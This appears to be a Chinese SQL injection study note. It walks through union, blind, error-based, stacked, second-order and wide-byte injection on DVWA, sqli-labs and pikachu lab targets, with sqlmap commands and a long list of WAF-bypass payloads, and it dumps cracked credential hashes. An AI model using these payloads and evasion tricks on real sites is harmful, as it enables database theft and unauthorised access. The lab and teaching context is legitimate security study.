文章目录
简介
程序没有对用户提交的参数做过滤,就直接放到 sql 语句中执行。使用精心构造的 payload 就可以打破 sql 语句原有逻辑,执行任意 sql 语句,例如查询、下载、写马、执行系统命令及绕过登录限制。
代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御sql 注入的最佳方法。
information_schema 库存在于 mysql 5.0 之后的版本。其中有几个重要的表:tables、columns
确定存在注入以后,进行以下操作:
判断注入类型
判断字段数:order by n,只有 n<=字段数才可以正常回显
确定回显点:union select 1,2
查询数据库信息
查询用户名、数据库名:user() database()
文件读取:union select 1,load_file() --+
写入 webshell:select...into outfile
注入方式:
get:传参在 url 中,有长度限制。
post:传参在请求体中
cookie:服务器从请求头获取一些信息。
注入类型:
int 整型 select * from users where id=1
sting 字符型 select * from users where username='admin'
like 搜索型 select * from news where title like '%标题%'
分类
联合查询
测试环境:dvwa-low (字符型注入)
联合两个表进行注入攻击,两个表的字段数要相同,否则会报错。
// 判断类型
id=' // 报语法错误
id=1' and '1'='1 // 正常回显
id=1' and '1'='2 // 没有回显
综上,判断存在字符型注入
确定字段数
1' order by 2 --+ // 正常回显
1' order by 3 --+ // 错误回显
综上,确定字段数为 2
寻找回显点
id=-1' union select 1,2 --+
First name: 1
Surname: 2
判断回显点,发现1,2都可以显示出来
查数据库名与版本号
?id=-1' union select database(),version()
查询结果如下:
First name: dvwa
Surname: 5.7.33-0ubuntu0.16.04.1
查询 dvwa 库中的表名
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
First name: 1
Surname: guestbook,users
查询 users 表的字段名
id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
First name: 1
Surname: id,login,password,email,secret,activation_code,activated,reset_code,admin,user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,email,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level
查询 user password 字段
id=-1' union select group_concat(user),group_concat(password) from users --+
First name: admin,gordonb,1337,pablo,smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99
布尔盲注
测试环境:dvwa-low (布尔盲注)
本关卡,只有两种回显:
User ID exists in the database.
User ID is MISSING from the database.
有的情况可能都没有回显,那就得时间盲注: 1’and sleep(10)–+
由于回显信息不足,所以不能使用联合查询,这里使用:
1' and if(1=1,1,0) --+
这里的 1=1 换成构造的语句。
手工测试
判断类型
id=' // 回显错误
id=1' and '1'='2 // 回显正常
id=1' and '1'='2 // 回显错误
综上确定为字符型盲注
判断字段数
id=1' order by 2 --+ // 回显正常
id=1' order by 3 --+ // 回显错误
综上,判断为两个字段
判断数据库名长度
id=1' and length(database())=3 --+ // 回显错误
id=1' and length(database())=4 --+ // 回显正确
综上,数据库名长度为 4
遍历数据库名
?id=1' and ascii(substr(database(),1,1))=100 --+ // 回显正确
以此类推,用 ChatGpt 写个 python 脚本实现
sqlmap
需要 cookie,否则会重定向到登录页面
在控制台 document.cookie 获取 cookie:
security=low; PHPSESSID=nir1851irra10d40cd9kkj49j6
–batch 在接下来的交互中默认 yes
-technique 后面跟使用的 sql 注入技术,这里用布尔盲注 B
查询数据库名
sqlmap -u "http://192.168.84.132/01/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nir1851irra10d40cd9kkj49j6" --batch --technique=B --current-db
查询 dvwa 下的表名
sqlmap -u "http://192.168.84.132/01/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nir1851irra10d40cd9kkj49j6" --batch --technique=B --tables -D dvwa
查询 users 表下的字段
sqlmap -u "http://192.168.84.132/01/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nir1851irra10d40cd9kkj49j6" --batch --technique=B --columns -D dvwa -T users
查询 users 表的详细信息
sqlmap -u "http://192.168.84.132/01/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nir1851irra10d40cd9kkj49j6" --batch --technique=B --dump -D dvwa -T users --columns
+---------+---------+--------------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | user | avatar | password | last_name | first_name | last_login | failed_login |
+---------+---------+--------------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 3 | 1337 | /01/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2020-01-09 16:58:08 | 0 |
| 1 | admin | /01/hackable/users/admin.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin | 2020-01-09 16:58:08 | 0 |
| 2 | gordonb | /01/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2020-01-09 16:58:08 | 0 |
| 4 | pablo | /01/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2020-01-09 16:58:08 | 0 |
| 5 | smithy | /01/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2020-01-09 16:58:08 | 0 |
+---------+---------+--------------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
报错注入
测试环境:dvwa-low
利用条件:遇到错误时,数据库会提示报错信息,回显到页面
判断是否存在报错注入:捏造一个函数进行调用,如果存在报错注入,就可以回显出该函数不存在。
1'and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
但是采用 updatexml 报错函数 只能显示 32 长度的内容,如果获取的内容超过32字符就要采用字符串截取方法。每次获取 32 个字符串的长度。
sqlmap 也支持报错注入
可以用 bp + 字典代替这个重复的过程
应该也能用脚本实现
还有很多函数支持报错注入:
floor、extractvalue等详见暗月师傅笔记
时间盲注
使用情景:无论输入什么,回显都一样
用sqlmap跑
堆叠注入
堆叠查询就是执行多条语句,以分号分隔。
在 mysql 里mysqli_multi_query
和mysql_multi_query
这两个函数执行一个或多个针对数据库的查询。
而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。堆叠查询只能返回第一条查询信息,不返回后面的信息。
堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库修改数据库,添加数据库用户。
测试环境:sqlilabs-38
id=-1';insert into users values(20,'moonsec','123') --+
然后访问?id=20,成功查询到这个新增的用户。
二次注入
在第一次插入数据时,仅仅使用addslashes
或借助get_magic_quotes_gpc
对其中的特殊字符进行了转义。其中addslashes
在接收参数时会添加\进行转义,但是在插入到数据库中时不会携带。下一次查询时,没有经过校验和处理,直接取出,这样会造成二次注入。
测试环境:sqlilbas-24
分析源码:
注册页面,使用了mysql_escape_string
函数接收传参admin' #
,函数转义成admin\' #
,但是在插入数据库时,数据库引擎会处理转义字符,还原回去,最终插入到数据库中为 admin' #
。
登录页面,使用mysql_real_escape_string
函数接收传参admin' #
,函数转义成 admin\' #
,然后去数据库中查询admin\' #
,查询时,数据库引擎又会还原转义字符为 admin' #
,然后进行查询,将查询结果admin\' #
放入到 Session
中。
在修改密码页面,从 Session
中获取 username
字段:admin' #
,我们随便输入当前密码,记住我们输入的修改密码。接下来执行 update
语句,此时就发生了二次注入,update
后半段被注释了,所以可以任意输入当前密码,这样 admin
用户的密码就被修改了。我们尝试登录 admin
用户,登录成功!
宽字节注入
在预防 SQL 注入时,会开启 gpc,转义特殊字符。一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不对,也可能导致 SQL 防注入绕过,达到注入的目的。
简而言之:Web 编码和数据库编码设置为两个不同的编码就可能产生宽字节注入。
宽字节注入前提条件:
数据库后端使用双/多字节解析 SQL 语句,其次该字符集范围中包含低字节位 0x5c 的字符( 在 ASCII 和大多数字符集编码中,0x5C 对应的字符是反斜杠 \)。Big5 和 GBK 字符集都是有的,UTF-8,GB2312 没有这种字符(也就不存在宽字节注入)。
逃逸 gpc 演示:
%df%27 -- addslashes -> %df%5c%27 -- 数据库(GBK) -> 運'
测试环境:sqlilabs-32
?id=%df%27输入后出现乱码,证明存在宽字节注入
id=-1%df%27 union select 1, version(), database() --+
COOKIE 注入
cookie 功能多数用于商城购物车,或者用户登录验证,可以对这些功能模块进行测试,抓取cookie 包进行安全测试。
cookie 注入与 get、post 注入区别只是传参的位置不一样:get 在 url 传参,post 在请求体传参,cookie 在 cookie 头传参
base64 编码注入
有不少网站使用 base64 进行数据传输,如搜索栏或者id 接收参数有可能使用 base64 处理传参。
base64 编码注入,可以逃逸 gpc。原理:编码后的字符串不存在特殊字符,在程序中重新解码,产生注入。
测试环境:sqlilabs-less21
admin') and info() -- ->YWRtaW4nKSBhbmQgaW5mbygpIC0tIA==
注入后发现报错 info 函数不存在,所以这里可以进行报错注入
admin') and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--
编码以后注入,成功读取到用户名
xff 注入
X-Forwarded-For 简称 XFF 头,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端IP。XFF 并不受 gpc 影响,而且开发人员很容易忽略这个 XFF 头,不会对 XFF 头进行过滤。
绕过
大小写绕过
双写绕过
利用关键字 all、distinct 绕过
编码绕过
换行绕过
目前很多 waf 都会对 union select 进行过滤,于是我们可以使用换行并加上一些注释符,进行拆分从而绕过。
mysql> select * from users where id=-1 union /*dzq*/ select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
添加库名绕过
有些 waf 的拦截规则并不会过滤(库名.表名)这种结构
添加库名,进行跨库查询:
mysql> select * from users where id=-1 union select 1,2,concat(user,authentication_string) from mysql.user;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | root |
+----+----------+----------+
1 row in set (0.00 sec)
去重绕过
使用 DISTINCT 可能会改变查询的模式,从而绕过某些 WAF 的检测机制。
mysql> select * from users where id = -1 union select 1,2,3 from users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id = -1 union distinct select 1,2,3 from users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
利用反引号绕过
利用反引号绕过一些 waf。字段可以加或不加反引号,意义相同。
mysql> insert into users(id,username,password) values (20,'dyy','dyy');
Query OK, 1 row affected (0.01 sec)
mysql> insert into users(`id`,`username`,`password`) values (21,'dyy','dyy');
Query OK, 1 row affected (0.00 sec)
利用脚本语言特性绕过
在 php 中id=1&id=2后面的值会自动覆盖前面的值,不同的语言有不同的特性,利用这个可以绕过一些 waf。
id=1%00id=2 union select 1,2,3
有些 waf 会去匹配第一个 id 参数1%00,其中%00表示截断,waf 会自动截断,从而不会检测后面的内容。到了程序中后,就会读到id=2 union select 1,2,3
利用 ASCII 码对比绕过
很多 waf 对 union select 进行拦截,而且拦截的比较彻底,我们就不能使用联合查询了,可以尝试字符截取对比法,进行突破:一个字符一个字符截取,如果可以输出结果,就说明猜对了。
也可以把 ‘r’ 换成 ascii 码,如果开启 gpc 就不可以了。
mysql> select * from users where id=1 and substring(user(),1,1)='r';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and substring(user(),2,1)='o';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.01 sec)
mysql> select * from users where id=1 and substring(user(),3,1)='o';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and substring(user(),4,1)='t';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and ascii(substring(user(),1,1))=114;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.01 sec)
二次编码绕过
有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码后,waf 不会拦截。
利用偏僻函数绕过
偏僻函数,比如polygon()
可以替代updatexml
。
利用白名单绕过
有些 waf 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,所以利用这个特点,在 payload 前加上白名单,进行绕过。白名单通常有:/admin、/phpmyadmin、/admin.php
测试环境:pikachu-sql 字符型注入
a=/admin.php&name=vince' union select 1,2 --+&submit=%E6%9F%A5%E8%AF%A2
利用 http 相同参数请求绕过
有些 waf 在对危险字符进行检测时,分别为 post,get 请求设定了不同的匹配规则,同时如果程序能同时接收 get、post 请求,那么通过变更请求方式的方法,就可能绕过 waf。
application/json
或者 text/html
绕过
有些程序时 json 提交参数,程序也是 json 接收再拼接到 SQL 执行,json 通常不会被拦截,所以可以绕 waf。
text/html
同理。
运行大量字符绕过
绕过原理:
● 规则覆盖: WAF 通常使用一组预定义的规则来检测和阻止恶意请求。如果攻击者能够生成非常复杂或长的请求,可能会导致这些规则无法准确匹配或超出其规则的处理能力。
● 正则表达式限制: WAF 可能使用正则表达式来匹配恶意模式。如果攻击者使用非常长的 payload,可以使正则表达式变得非常复杂,从而导致 WAF 的正则表达式引擎性能下降或无法准确匹配。
测试环境:pikachu sql 数字型注入
id=1+and+(select+1)and+(select+0xA*1000)/*!union*//*!select*/+1,user()--+&submit=%E6%9F%A5%E 8%AF%A2
payload 解释:
● /!union/ 和 /!select/:
● 这些是 MySQL 特有的注释格式,用于条件编译(Conditional Comments)。/! 是 MySQL 的一种注释风格,用于在执行时决定是否运行后面的代码。/! 注释后跟的内容是一个版本号。例如 /!union/ 表示在特定版本的 MySQL 中(即包含 union 操作的版本),这段代码将被执行。如果数据库版本不支持这些功能,这段代码将被忽略。
● and (select 0xA1000):
● 这部分是一个计算查询。0xA 是十六进制表示的 10,0xA1000 的结果是 10000。这个子查询返回单一的值 10000。由于 select 0xA*1000 只是一个计算,结果只是一个值,而不是一组记录。这个子查询的结果不会被实际输出到页面,而是被数据库引擎处理并返回。
● union select 1, user():
● 这部分使用 UNION 操作符将多个 SELECT 查询的结果合并。在这个例子中,union select 1, user() 试图将 1 和当前数据库用户的信息作为查询结果返回。UNION 操作符要求所有参与合并的 SELECT 查询返回相同数量的列。因此,这里的 union select 1, user() 需要与原始查询返回的列数相匹配。
利用花括号绕过
mysql> select 1,2 union select{x 1},user();
+---+----------------+
| 1 | 2 |
+---+----------------+
| 1 | 2 |
| 1 | root@localhost |
+---+----------------+
2 rows in set (0.00 sec)
绕过引号
如果 waf 把单引号给过滤了,那我们可以用双引号。
mysql> select * from users where id='1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id="1";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
还可以用十六进制,避免使用引号
mysql> select * from users where username='admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | admin |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select hex('admin');
+--------------+
| hex('admin') |
+--------------+
| 61646D696E |
+--------------+
1 row in set (0.00 sec)
mysql> select * from users where username=0x61646D696E;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | admin |
+----+----------+----------+
1 row in set (0.00 sec)
绕过逗号
有些 waf 会对逗号过滤,这样就会导致原有逗号的 sql 语句报错。解决:
substr 截取字符串
mysql> select(substr(database() from 1 for 55));
+------------------------------------+
| (substr(database() from 1 for 55)) |
+------------------------------------+
| security |
+------------------------------------+
1 row in set (0.00 sec)
mid 截取字符串
mid 函数和 substr 函数类似,如果 substr 被过滤,可以用 min 试一下。
使用 join 绕过
mysql> select 1,2;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)
创建两个表赋别名,然后用 join 连接
mysql> select * from (select 1)a join (select 2)b;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)
like 绕过
查询成功返回 1,否则返回 0.
一个字符一个字符进行匹配,从而找到所有字符,这种方法没有逗号,从而绕过 waf。
mysql> select user() like '%root%';
+----------------------+
| user() like '%root%' |
+----------------------+
| 1 |
+----------------------+
1 row in set (0.00 sec)
mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
limit offset 绕过
逗号被过滤后,限定条目时,就不能limit 0,1。解决:
limit 1 offset 0
mysql> select * from users limit 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users limit 1 offset 0;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
绕过 or and xor not
目前主流 waf 都会对常见的 sql 注入语句进行过滤,如:id=1 and 1=1、id=1 and 1=2、id=1 or 1=1、 id=0 xor 1=1 limit 1
等。
用如下符号代替:
and -> &&、or -> ||、not -> !、xor -> |
还可以使用运算符号 id=1 && 2=1+1
绕过等号
如果=被过滤,可以使用like、rlike、regexp、绕过。
mysql> select * from users where id=1 and ascii(substring(user(),1,1))<114;
Empty set (0.00 sec)
mysql> select * from users where id=1 and ascii(substring(user(),1,1))<115;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and ascii(substring(user(),1,1))>115;
Empty set (0.00 sec)
mysql> select * from users where id=1 and (select substring(user(),1,1) like 'r%');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and (select substring(user(),1,1) rlike 'r');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select user() regexp '^r';
+--------------------+
| user() regexp '^r' |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.00 sec)
mysql> select user() regexp '^d';
+--------------------+
| user() regexp '^d' |
+--------------------+
| 0 |
+--------------------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and 1=(select user() regexp '^r');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
绕过空格字符
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
可以将空格字符替换成注释 /**/
绕过 order by
如果 order by 被过滤,无法猜解字段时,可以用 into 变量名代理。
原理:这里的 INTO 子句将查询结果的列分别存储到指定的变量中。@a, @b, @c, 和 @d 是 SQL 变量,用于接收查询结果中的每一列的值。变量的数量和查询结果的列数必须匹配,否则会出现错误。
mysql> select * from users where id=1 into @d,@z,@q;
Query OK, 1 row affected (0.00 sec)
mysql> select * from users where id=1 into @d,@z,@q,@a;
ERROR 1222 (21000): The used SELECT statements have a different number of columns